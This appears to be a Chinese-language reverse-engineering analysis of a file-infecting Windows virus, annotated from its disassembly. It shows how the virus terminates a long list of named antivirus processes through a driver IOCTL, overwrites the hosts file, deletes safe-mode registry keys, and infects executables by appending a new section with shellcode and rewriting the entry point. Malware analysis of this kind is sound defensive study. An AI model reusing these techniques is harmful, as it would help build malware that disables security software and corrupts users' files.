.text:00405575 add esp, 0Ch
.text:00405578 push offset DisplayName ; \
.text:0040557D push off_40B548 ; \
.text:00405583 push offset aSS ; \.text:00405588 lea eax, [ebp+String]
.text:0040558E push eax ; LPSTR .text:0040558F call ds:wsprintfA .text:00405595 add esp, 10h
.text:00405598 lea eax, [ebp+String] .text:0040559E push eax
.text:0040559F push 80000002h
.text:004055A4 call [ebp+SHDeleteKeyA] ; 删除SYSTEM\\\\CurrentControlSet\\\\Services\\\\Forter
.text:004055AA lea eax, [ebp+FileName]
.text:004055B0 push eax ; lpFileName
.text:004055B1 call ds:DeleteFileA ; 删除临时文件夹下的\文件
接下来关闭杀毒软件，杀软进程名：
KVMonXP.kxp.KVSrvXP.exe.avp.exe.avp.exe.avp.exe.RavMonD.exe.RavTask.exe.RsAgent.exe.rsnetsvr.exe.RsTray.exe.ScanFrm.exe.CCenter.exe.kavstart.exe.kissvc.exe.kpfw32.exe.kpfwsvc.exe.kswebshield.exe.kwatch.exe.kmailmon.exe.egui.exe.ekrn.exe.ccSvcHst.exe.ccSvcHst.exe.ccSvcHst.exe.Mcagent.exe.mcmscsvc.exe.McNASvc.exe.Mcods.exe.McProxy.exe.Mcshield.exe.
mcsysmon.exe.mcvsshld.exe.MpfSrv.exe.McSACore.exe.msksrver.exe.sched.exe.avguard.exe.avmailc.exe.avwebgrd.exe.avgnt.exe.sched.exe.avguard.exe.avcenter.exe.UfSeAgnt.exe.
TMBMSRV.exe.SfCtlCom.exe.TmProxy.exe.360SoftMgrSvc.exe.360tray.exe.qutmserv.exe.bdagent.exe.livesrv.exe.seccenter.exe.vsserv.exe.MPSVC.exe.MPSVC1.exe.MPSVC2.exe.
MPMon.exe.ast.exe.360speedld.exe.360SoftMgrSvc.exe.360tray.exe.修复工具.exe.
360hotfix.exe.360rpt.exe.360safe.exe.360safebox.exe.krnl360svc.exe.zhudongfangyu.exe.360sd.exe.360rp.exe.360se.exe.safeboxTray.exe. 下面是关闭杀毒软件的步骤：
.text:0040528C mov [ebp+AntiVirsName], offset AntiVName ; 取第一个杀软名 .text:00405293 Next_2:
.text:00405293 mov eax, [ebp+AntiVirsName] .text:00405296 movsx eax, byte ptr [eax] .text:00405299 test eax, eax
.text:0040529B jz Over_2 ; 局部变量第一字节为0退出 .text:004052A1 and [ebp+var_8], 0 .text:004052A5 jmp short loc_4052AE
.text:004052A7 Next_1: ; CODE XREF: .text:004052A7 mov eax, [ebp+var_8] .text:004052AA inc eax
.text:004052AB mov [ebp+var_8], eax
.text:004052AE loc_4052AE: ; CODE XREF: .text:004052AE cmp [ebp+var_8], 4 .text:004052B2 jge short GoNext .text:004052B4 mov [ebp+var_C], 1 .text:004052BB and [ebp+InBuffer], 0
.text:004052BF and [ebp+BytesReturned], 0
.text:004052C3 push [ebp+AntiVirsName] ; 杀毒软件名称列表
.text:004052C6 call CheckProcess ; 检查上面这个进程是否存在 .text:004052CB mov [ebp+InBuffer], eax .text:004052CE cmp [ebp+InBuffer], 0
.text:004052D2 jnz short loc_4052D6 ; 存在向驱动发送IRP终止 .text:004052D4 jmp short GoNext ; 指定的进程名不存在，取下一个探测
.text:004052D6 loc_4052D6: ; CODE XREF: .text:004052D6 push 0 ; lpOverlapped .text:004052D8 lea eax, [ebp+BytesReturned]
.text:004052DB push eax ; lpBytesReturned .text:004052DC push 0 ; nOutBufferSize .text:004052DE push 0 ; lpOutBuffer .text:004052E0 push 4 ; nInBufferSize .text:004052E2 lea eax, [ebp+InBuffer]
.text:004052E5 push eax ; lpInBuffer
.text:004052E6 push 222264h ; dwIoControlCode .text:004052EB push [ebp+hDevice] ; hDevice
.text:004052EE call ds:DeviceIoControl ; 发送IRP吗终止杀毒软件 .text:004052F4 mov [ebp+var_C], eax .text:004052F7 cmp [ebp+var_C], 0
.text:004052FB jnz short SucessControl ; 关闭杀软成功，跳走 .text:004052FD jmp short GoNext
.text:004052FF SucessControl: ; CODE XREF:
.text:004052FF push 32h ; dwMilliseconds .text:00405301 call ds:Sleep
.text:00405307 jmp short Next_1
.text:00405309 GoNext: ; CODE XREF: .text:00405309 push 32h ; dwMilliseconds .text:0040530B call ds:Sleep
.text:00405311 push [ebp+AntiVirsName] ; lpString .text:00405314 call ds:lstrlenA
.text:0040531A mov ecx, [ebp+AntiVirsName] .text:0040531D lea eax, [ecx+eax+1]
.text:00405321 mov [ebp+AntiVirsName], eax ; 取下一个杀软名 .text:00405324 jmp Next_2
劫持drivers\\\\etc\\\\hosts，屏蔽一系列网址
.text:004066DE mov [ebp+lpBuffer], offset a127_0_0_1Local ; \ localhost\\r\\n\
.text:004066E5 and [ebp+NumberOfBytesWritten], 0 .text:004066E9 or [ebp+hObject], 0FFFFFFFFh .text:004066ED push 104h ; size_t .text:004066F2 push 0 ; int .text:004066F4 lea eax, [ebp+FileName]
.text:004066FA push eax ; void * .text:004066FB call memset .text:00406700 add esp, 0Ch
.text:00406703 push offset SystemDirector
.text:00406708 push offset aSDriversEtcHos ; \.text:0040670D lea eax, [ebp+FileName]
.text:00406713 push eax ; LPSTR .text:00406714 call ds:wsprintfA .text:0040671A add esp, 0Ch
.text:0040671D push 0 ; hTemplateFile
.text:0040671F push 80h ; dwFlagsAndAttributes .text:00406724 push 3 ; dwCreationDisposition .text:00406726 push 0 ; lpSecurityAttributes .text:00406728 push 3 ; dwShareMode .text:0040672A push 0C0000000h ; dwDesiredAccess .text:0040672F lea eax, [ebp+FileName]
.text:00406735 push eax ; lpFileName .text:00406736 call ds:CreateFileA
.text:0040673C mov [ebp+hObject], eax
.text:0040673F push 0 ; lpOverlapped .text:00406741 lea eax, [ebp+NumberOfBytesWritten]
.text:00406744 push eax ; lpNumberOfBytesWritten .text:00406745 push [ebp+lpBuffer] ; lpString .text:00406748 call ds:lstrlenA
.text:0040674E push eax ; nNumberOfBytesToWrite .text:0040674F push [ebp+lpBuffer] ; lpBuffer .text:00406752 push [ebp+hObject] ; hFile
.text:00406755 call ds:WriteFile ; 写入\ localhost\\r\\n\
删除注册表破坏安全模式
.text:00406963 push offset pszSubKey ; \
.text:00406968 push 80000002h ; hkey .text:0040696D call ds:SHDeleteKeyA
.text:00406973 push offset aSystemCurren_0
; \
.text:00406978 push 80000002h ; hkey
.text:0040697D call ds:SHDeleteKeyA ; 删除注册表破坏安全模式
接下来是感染文件，首先判断\是否存在
.text:0040634A push offset aCProgramFilesW ; \Files\\\\WinRAR\\\\Rar.exe\
.text:0040634F push offset pszPath ; lpString1 .text:00406354 call ds:lstrcpyA
.text:0040635A push offset pszPath ; pszPath .text:0040635F call ds:PathFileExistsA .text:00406365 mov CRar_exe, eax
然后获取磁盘类型，避免无效分区和光驱，如果遇到无效和光驱则再次跳回接着感染。 .text:004063C3 push [ebp+lpString] ; lpRootPathName .text:004063C6 call ds:GetDriveTypeA ; 获取磁盘类型 .text:004063CC mov [ebp+DriveType], eax
.text:004063CF cmp [ebp+DriveType], 1 ; 无效分区DRIVE_NO_ROOT_DIR
.text:004063D3 jbe short Next_2
.text:004063D5 cmp [ebp+DriveType], 5
.text:004063D9 jz short Next_2 ; 当是光驱的时候跳走
如果磁盘是正常则开辟线程感染文件
.text:004063DB push 0 .text:004063DD push 0
.text:004063DF mov eax, [ebp+lpString]
.text:004063E2 push dword ptr [eax] ;文件路径做为参数 .text:004063E4 push offset TaintFile_1 ; 创建线程感染文件 .text:004063E9 push 0 .text:004063EB push 0
.text:004063ED call [ebp+CreateThread]
感染文件之前还要检查路径，排除系统文件被感染，跳过WinRAR，WindowsUpdate，Windows NT，Windows Media Player，Outlook Express，NetMeeting，MSN Gaming Zone，Movie Maker microsoft frontpage，Messenger，Internet Explorer，InstallShield Installation Information ComPlus Applications，Common Files，RECYCLER，System Volume Information Documents and Settings，WinNT，WINDOWS，实现方法如下： .text:00406220 NextSysFlod:
.text:00406220 mov eax, [ebp+var_35C] .text:00406226 inc eax
.text:00406227 mov [ebp+var_35C], eax .text:0040622D loc_40622D:
.text:0040622D cmp [ebp+var_35C], 15h
.text:00406234 jge short loc_40625A .text:00406236 mov eax, [ebp+var_35C]
.text:0040623C push lpString2[eax*4] ; lpString2 .text:00406243 push [ebp+lpString1] ; lpString1
.text:00406249 call ds:lstrcmpiA ; 与指定的系统目录做比较 .text:0040624F test eax, eax
.text:00406251 jnz short Next_1
.text:00406253 jmp GoOutReturn ; 避免感染系统目录内的文件 .text:00406253 ; 找到系统目录后退出 .text:00406258 Next_1:
.text:00406258 jmp short NextSysFlod
下面通过FindFirstFile和FindNextFile搜寻文件，找到后调用感染函数感染之。
下面是感染exe文件的主要过程，首先创建文件映射，在创建文件映射后修改节区数，映射内存长度，入口点地址，还有新增一个名为.tc的节区，之后定位到文件末尾，在文件末尾写入shell代码以及原OEP。
构造一个新节区：
.text:0040727B mov eax, [ebp+EndOfLastTriv] .text:00407281 mov [ebp+var_50], eax
.text:00407284 mov [ebp+var_40], 0E0000020h ; 节区属性 .text:0040728B mov ax, word ptr byte_40BE6C .text:00407291 mov [ebp+var_42], ax
.text:00407295 push 28h ; size_t .text:00407297 lea eax, [ebp+ct.]
.text:0040729A push eax ; void * .text:0040729B mov eax, [ebp+NTAddress] .text:004072A1 add eax, [ebp+NTSecLen]
.text:004072A4 push eax ; void *
.text:004072A5 call memcpy ; 构造新节头 .text:004072AA add esp, 0Ch
.text:004072AD mov eax, [ebp+NTAddress] .text:004072B3 movzx eax, word ptr [eax+6]
.text:004072B7 inc eax ; 节头数加1 .text:004072B8 mov ecx, [ebp+NTAddress] .text:004072BE mov [ecx+6], ax
.text:004072C2 mov eax, [ebp+NTAddress] .text:004072C8 cmp dword ptr [eax+1Ch], 0
.text:004072CC jz short WriteShellCode ; 跳走写shell代码
.text:004072E3 mov eax, [ebp+NTAddress] ; 定位到NT头的地址 .text:004072E9 mov ecx, [ebp+EndOfShellCode]
.text:004072EC mov [eax+28h], ecx ; 修改入口点地址 .text:004072EF mov eax, [ebp+NTAddress]